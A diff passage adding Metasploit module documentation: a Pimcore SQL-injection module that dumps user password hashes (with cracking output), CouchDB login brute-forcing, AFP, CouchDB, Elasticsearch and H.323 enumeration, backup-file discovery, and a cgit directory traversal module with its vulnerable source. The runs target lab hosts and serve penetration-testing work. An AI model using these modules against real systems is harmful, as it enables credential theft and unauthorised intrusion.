Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
c28e017eec634579fd9309d08171c115 (admin)
1g 0:00:00:00 14.28g/s 14.28p/s 14.28c/s 14.28C/s c28e017eec634579fd9309d08171c115
Use the "--show" option to display all of the cracked passwords reliably
Session completed
wvu@kharak:~$
```
## Vulnerable Application
Installing composer and running `php composer.phar create-project pimcore/pimcore=5.2.3 ./myproject --no-dev` will install Pimcore and most of its dependencies.
The installation process will give notifications on missing PHP extensions that are required. Additionally, a web server and database must be set up.
Source for Pimcore v5.2.3 can also be found [here](https://www.exploit-db.com/apps/7c759b5b7f2896a7d5461582e149bcaa-pimcore-5.2.3.tar.gz)
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use auxiliary/gather/pimcore_creds_sqli`
4. Do: `set RHOSTS [IP]`
5. Do: `set TARGETURI [URI]`
6. Do: `set APIKEY [KEY]`
7. Do: `run`
8. You should get a list of Pimcore user credentials
## Options
**APIKEY**
Valid API key for accessing Pimcore's REST API in order to perform the injection.
## Scenarios
### Tested on Ubuntu 18.04.1 Running Pimcore v5.2.3
```
msf5 > use auxiliary/gather/pimcore_creds_sqli
msf5 auxiliary(gather/pimcore_creds_sqli) > set rhosts 192.168.37.246
rhosts => 192.168.37.246
msf5 auxiliary(gather/pimcore_creds_sqli) > set apikey 77369eee2b728e0efbb2c296549aea09b91d3751c26a3c27ce0b1dbb6bfaf11b
apikey => 77369eee2b728e0efbb2c296549aea09b91d3751c26a3c27ce0b1dbb6bfaf11b
msf5 auxiliary(gather/pimcore_creds_sqli) > run
[+] Credentials obtained:
[+] admin : $2y$10$sBaD3EOAm/i1F3Mm/fwseeq3nyoacdlUt4NkVLZUgJ4FTReJSKIbe
[+] secondUser : $2y$10$DYaFjrYnajTmVhhXSmsh8O5rLrQuPt8Q9Dto3vaQ4747K5kSvWEPy
[+] blah : $2y$10$sJWr.puqXnF5T3DI3L1oqu3aIJRjUtHs9.2pgHEkevEdGrGvO1cBC
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,62 @@
## Vulnerable Application
Apple Filing Protocol (AFP) is Apple's file sharing protocol similar to SMB, and NFS. This module will gather information about the service.
Netatalk is a Linux implementation of AFP.
The following was done on Ubuntu 16.04, and is largely base on [missingreadme.wordpress.com](https://missingreadme.wordpress.com/2010/05/08/how-to-set-up-afp-filesharing-on-ubuntu/):
1. `sudo apt-get install netatalk`
2. edit `/etc/default/netatalk` and add the following lines:
```
ATALKD_RUN=no
PAPD_RUN=no
CNID_METAD_RUN=yes
AFPD_RUN=yes
TIMELORD_RUN=no
A2BOOT_RUN=no
```
3. Restart the service: `sudo /etc/init.d/netatalk restart`
## Verification Steps
1. Install and configure afp (or netatalk in a Linux environment)
2. Start msfconsole
3. Do: `auxiliary/scanner/afp/afp_server_info`
4. Do: `run`
## Scenarios
A run against the configuration from these docs
```
msf5 auxiliary(scanner/acpp/login) > use auxiliary/scanner/afp/afp_server_info
msf5 auxiliary(scanner/afp/afp_server_info) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf5 auxiliary(scanner/afp/afp_server_info) > run
[*] 1.1.1.1:548 - AFP 1.1.1.1 Scanning...
[*] 1.1.1.1:548 - AFP 1.1.1.1:548:548 AFP:
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Name: ubuntu
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Flags:
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Super Client: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UUIDs: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UTF8 Server Name: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Open Directory: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Reconnect: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Notifications: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * TCP/IP: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Signature: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Messages: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Saving Prohibited: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Changing: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Copy File: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Machine Type: Netatalk2.2.5
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 AFP Versions: AFP2.2, AFPX03, AFP3.1, AFP3.2, AFP3.3
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 UAMs: Cleartxt Passwrd, DHX2
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Signature: 975394e16633312406281959287fcbd9
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Network Address:
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * 1.1.1.1
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 UTF8 Server Name: ubuntu
[*] 1.1.1.1:548 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,73 @@
## Vulnerable Application
Apache CouchDB is a nosql database server which communicates over HTTP. This module will enumerate the server and databases hosted on it.
The following was done on Ubuntu 16.04, and is largely base on [1and1.com](https://www.1and1.com/cloud-community/learn/database/couchdb/install-and-use-couchdb-on-ubuntu-1604/):
1. `sudo apt install software-properties-common`
2. `sudo add-apt-repository ppa:couchdb/stable`
3. `sudo apt update`
4. `sudo apt install couchdb`
5. Reconfigure couchdb to listen to all interfaces. Edit `/etc/couchdb/local.ini`. Under `[httpd]` add the following line: `bind_address = 0.0.0.0`
6. Restart the service: `sudo service couchdb restart`
## Verification Steps
1. Install and configure couchdb
2. Start msfconsole
3. Do: `auxiliary/scanner/couchdb/couchdb_enum`
4. Do: `run`
## Options
**serverinfo**
If set to true, the server info will also enumerated and set in msf's DB. Defaults to `false`
## Scenarios
A run against the configuration from these docs
```
msf5 auxiliary(scanner/afp/afp_login) > use auxiliary/scanner/couchdb/couchdb_enum
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set verbose true
verbose => true
msf5 auxiliary(scanner/couchdb/couchdb_enum) > run
[+] 1.1.1.1:5984 {
"couchdb": "Welcome",
"uuid": "6f08e89795bd845efc6c2bf3d57799e5",
"version": "1.6.1",
"vendor": {
"version": "16.04",
"name": "Ubuntu"
}
}
[*] #{peer} Enumerating Databases...
[+] 1.1.1.1:5984 Databases:
[
"_replicator",
"_users"
]
[+] 1.1.1.1:5984 File saved in: /root/.msf4/loot/20180721105522_default_1.1.1.1_couchdb.enum_888970.bin
msf5 auxiliary(scanner/couchdb/couchdb_enum) > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
1.1.1.1 5984 tcp couchdb open HTTP/1.1 200 OK
Server: CouchDB/1.6.1 (Erlang OTP/18)
Date: Sat, 21 Jul 2018 14:54:45 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 127
Cache-Control: must-revalidate
{"couchdb":"Welcome","uuid":"6f08e89795bd845efc6c2bf3d57799e5","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}}
```

View File

@ -0,0 +1,51 @@
## Vulnerable Application
Apache CouchDB is a nosql database server which communicates over HTTP. This module will enumerate the server and databases hosted on it.
The following was done on Ubuntu 16.04, and is largely base on [1and1.com](https://www.1and1.com/cloud-community/learn/database/couchdb/install-and-use-couchdb-on-ubuntu-1604/):
1. `sudo apt install software-properties-common`
2. `sudo add-apt-repository ppa:couchdb/stable`
3. `sudo apt update`
4. `sudo apt install couchdb`
5. Reconfigure couchdb to listen to all interfaces. Edit `/etc/couchdb/local.ini`. Under `[httpd]` add the following line: `bind_address = 0.0.0.0`
6. Restart the service: `sudo service couchdb restart`
7. Create an admin user `curl -X PUT http://127.0.0.1:5984/_config/admins/anna -d '"secret"'`
## Verification Steps
1. Install and configure couchdb
2. Start msfconsole
3. Do: `auxiliary/scanner/couchdb/couchdb_login`
4. Do: `run`
## Scenarios
A run against the configuration from these docs
```
msf5 > use auxiliary/scanner/couchdb/couchdb_login
msf5 auxiliary(scanner/couchdb/couchdb_login) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf5 auxiliary(scanner/couchdb/couchdb_login) > set username anna
username => anna
msf5 auxiliary(scanner/couchdb/couchdb_login) > set password secret
password => secret
msf5 auxiliary(scanner/couchdb/couchdb_login) > run
[*] 1.1.1.1:5984 - [001/305] - Trying username:'connect' with password:'connect'
[*] 1.1.1.1:5984 - [002/305] - Trying username:'sitecom' with password:'sitecom'
[*] 1.1.1.1:5984 - [003/305] - Trying username:'admin' with password:'1234'
[*] 1.1.1.1:5984 - [004/305] - Trying username:'cisco' with password:'cisco'
[*] 1.1.1.1:5984 - [005/305] - Trying username:'cisco' with password:'sanfran'
[*] 1.1.1.1:5984 - [006/305] - Trying username:'private' with password:'private'
[*] 1.1.1.1:5984 - [007/305] - Trying username:'wampp' with password:'xampp'
[*] 1.1.1.1:5984 - [008/305] - Trying username:'newuser' with password:'wampp'
[*] 1.1.1.1:5984 - [009/305] - Trying username:'xampp-dav-unsecure' with password:'ppmax2011'
[*] 1.1.1.1:5984 - [010/305] - Trying username:'admin' with password:'turnkey'
[*] 1.1.1.1:5984 - [011/305] - Trying username:'vagrant' with password:'vagrant'
[*] 1.1.1.1:5984 - [012/305] - Trying username:'anna' with password:'secret'
[+] 1.1.1.1:5984 - Successful login with. 'anna' : 'secret'
[*] 1.1.1.1:5984 - [013/305] - Trying username:'admin' with password:'secret'
...snip...
```

View File

@ -0,0 +1,46 @@
## Description
This module identifies a list of indices which an Elasticsearch NoSQL database has. This occurs over the REST API, which on community versions is an unauthenticated API. Customers who subscribe to a support plan can add authentication to this API restricting access.
## Vulnerable Application
### Install Elasticsearch on Kali Linux:
With this install, we'll install the free community edition of Elasticsearch, which does not require authentication to the API. However, this is unrealistic in a production environment which will often leverage a support contract to gain authentication, a reverse proxy to add basic authentication, and/or a host firewall to restrict access to this API.
The following instructions assume you are beginning with a fresh Kali installation as the root user.
1. `useradd -M -r elasticsearch`
2. `su elasticsearch`
3. `cd /tmp`
4. `curl -L -O https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.3.2.tar.gz`
5. `tar -xvf elasticsearch-6.3.2.tar.gz`
6. `cd elasticsearch-6.3.2/bin`
7. `./elasticsearch`
8. Open a new terminal
9. In the new terminal, `curl -X PUT http://127.0.0.1:9200/msf_test` to create an index for validation purposes
## Verification Steps
1. `use auxiliary/scanner/elasticsearch/indices_enum`
2. `set RHOSTS [ips]`
3. `set RPORT [port]`
4. `run`
## Scenarios
### Elasticsearch 6.3.2 on Kali Linux
```
msf > use auxiliary/scanner/elasticsearch/indices_enum
msf auxiliary(scanner/elasticsearch/indices_enum) > set RHOSTS 10.10.10.25
RHOSTS => 10.10.10.25
msf auxiliary(scanner/elasticsearch/indices_enum) > run
[+] ElasticSearch Indices found: msf_test
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
## Confirming
### [elasticsearch](https://www.elastic.co/guide/en/elasticsearch/reference/current/_list_all_indices.html)
```
# curl 'http://10.10.10.25:9200/_cat/indices?v'
health status index uuid pri rep docs.count docs.deleted store.size pri.store.size
yellow open msf_test W83_cAS1QlmePnczS9sLrA 5 1 0 0 1.2kb 1.2kb
```

View File

@ -0,0 +1,16 @@
## Intro
This module scans for h.323 servers and determines the version and information about the server.
## Usage
```
msf5 auxiliary(scanner/sip/options) > use auxiliary/scanner/h323/h323_version
msf5 auxiliary(scanner/h323/h323_version) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf5 auxiliary(scanner/h323/h323_version) > run
[+] 1.1.1.1:1720 - 1.1.1.1:1720 Protocol: 3 VendorID: 0x6100023c VersionID: v.5.4 ProductID: Gateway
[*] 1.1.1.1:1720 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,45 @@
## Intro
This module scans a web server for a file name with various backup type extensions.
The list of extensions are:
1. .backup
2. .bak
3. .copy
4. .copia
5. .old
6. .orig
7. .temp
8. .txt
9. ~
## Usage
In the basic config, you'll search for the extensions on `/index.asp`, which may not be very useful.
In this scenario, we look for `/backup` instead. On the web server, we've created the files `backup.old`,
`backup.orig`, and `backup~`.
```
msf5 > use auxiliary/scanner/http/backup_file
msf5 auxiliary(scanner/http/backup_file) > set verbose true
verbose => true
msf5 auxiliary(scanner/http/backup_file) > set path /backup
path => /backup
msf5 auxiliary(scanner/http/backup_file) > set rhosts 192.168.2.39
rhosts => 192.168.2.39
msf5 auxiliary(scanner/http/backup_file) > run
[*] NOT Found http://192.168.2.39:80/backup.backup
[*] NOT Found http://192.168.2.39:80/backup.bak
[*] NOT Found http://192.168.2.39:80/backup.copy
[*] NOT Found http://192.168.2.39:80/backup.copia
[+] Found http://192.168.2.39:80/backup.old
[+] Found http://192.168.2.39:80/backup.orig
[*] NOT Found http://192.168.2.39:80/backup.temp
[*] NOT Found http://192.168.2.39:80/backup.txt
[+] Found http://192.168.2.39:80/backup~
[*] NOT Found http://192.168.2.39:80/.backup.swp
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,91 @@
## Description
cgit before v1.2.1 has a directory traversal vulnerabiltiy when `cgitrc` has the `enable-http-clone` value set to 1. The directory traversal can be used to download files from the remote host. This module has been tested against cgit v1.1 running on Ubuntu 18.04.
## Vulnerable Application
[cgit before v1.2.1](https://git.zx2c4.com/cgit/)
### Installing cgit on Ubuntu 18.04 x64
1. `sudo apt install cgit` # [dependencies](https://git.zx2c4.com/cgit/tree/README) may have to be downloaded first
2. Modify `/etc/cgitrc` to have `enable-http-clone=1`. Example attached.
3. Add `.htaccess` file with rewrite rules to `/usr/lib/cgit/`. Example attached.
4. Add `cgit.conf` to `/etc/apache2/conf-enabled/`. Example attached.
5. Enable `rewrite.load` and `cgi.load` in apache2.
6. Create bare repo. `mkdir -p repo/test.git && cd repo/test.git && git init --bare`
Example files were only used for testing and are not secure or usable in non-testing environments. These WILL make your system insecure, but will enable exploitation
by this module.
[cgit.conf](https://github.com/rapid7/metasploit-framework/files/2284678/cgit.conf.txt)
[cgitrc](https://github.com/rapid7/metasploit-framework/files/2284679/cgitrc.txt)
[.htaccess](https://github.com/rapid7/metasploit-framework/files/2284680/htaccess.txt)
### Vulnerability Details from Project Zero
There is a directory traversal vulnerability in cgit_clone_objects(), reachable when the configuration flag enable-http-clone is set to 1 (default):
```
void cgit_clone_objects(void)
{
if (!ctx.qry.path) {
cgit_print_error_page(400, "Bad request", "Bad request");
return;
}
if (!strcmp(ctx.qry.path, "info/packs")) {
print_pack_info();
return;
}
send_file(git_path("objects/%s", ctx.qry.path));
}
```
send_file() is a function that simply sends the data stored at the given filesystem path out over the network.
git_path() partially rewrites the provided path and e.g. prepends the base path of the repository, but it does not sanitize the provided path to prevent directory traversal.
ctx.qry.path can come from querystring_cb(), which takes unescaped data from the querystring.
## Options
**REPO**
Git repository on the remote server. Default is empty, `''`.
## Verification Steps
1. `./msfconsole -q`
2. `set rhosts <rhost>`
3. `set targeturi <uri>`
4. `set repo <repo>`
5. `run`
## Scenarios
### Ubuntu 18.04 x64, cgit | 1.1+git2.10.2-3build1
```
msf5 > use auxiliary/scanner/http/cgit_traversal
msf5 auxiliary(scanner/http/cgit_traversal) > set rhosts 172.22.222.123
rhosts => 172.22.222.123
msf5 auxiliary(scanner/http/cgit_traversal) > set targeturi /mygit/
targeturi => /mygit/
msf5 auxiliary(scanner/http/cgit_traversal) > set repo test
repo => test
msf5 auxiliary(scanner/http/cgit_traversal) > set filepath /home/msfdev/proof.txt
filepath => /home/msfdev/proof.txt
msf5 auxiliary(scanner/http/cgit_traversal) > set verbose true
verbose => true
msf5 auxiliary(scanner/http/cgit_traversal) > run
[+] 172.22.222.123:80 -
you found me!
[+] File saved in: /home/msfdev/.msf4/loot/20180813150517_default_172.22.222.123_cgit.traversal_235024.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Some files were not shown because too many files have changed in this diff Show More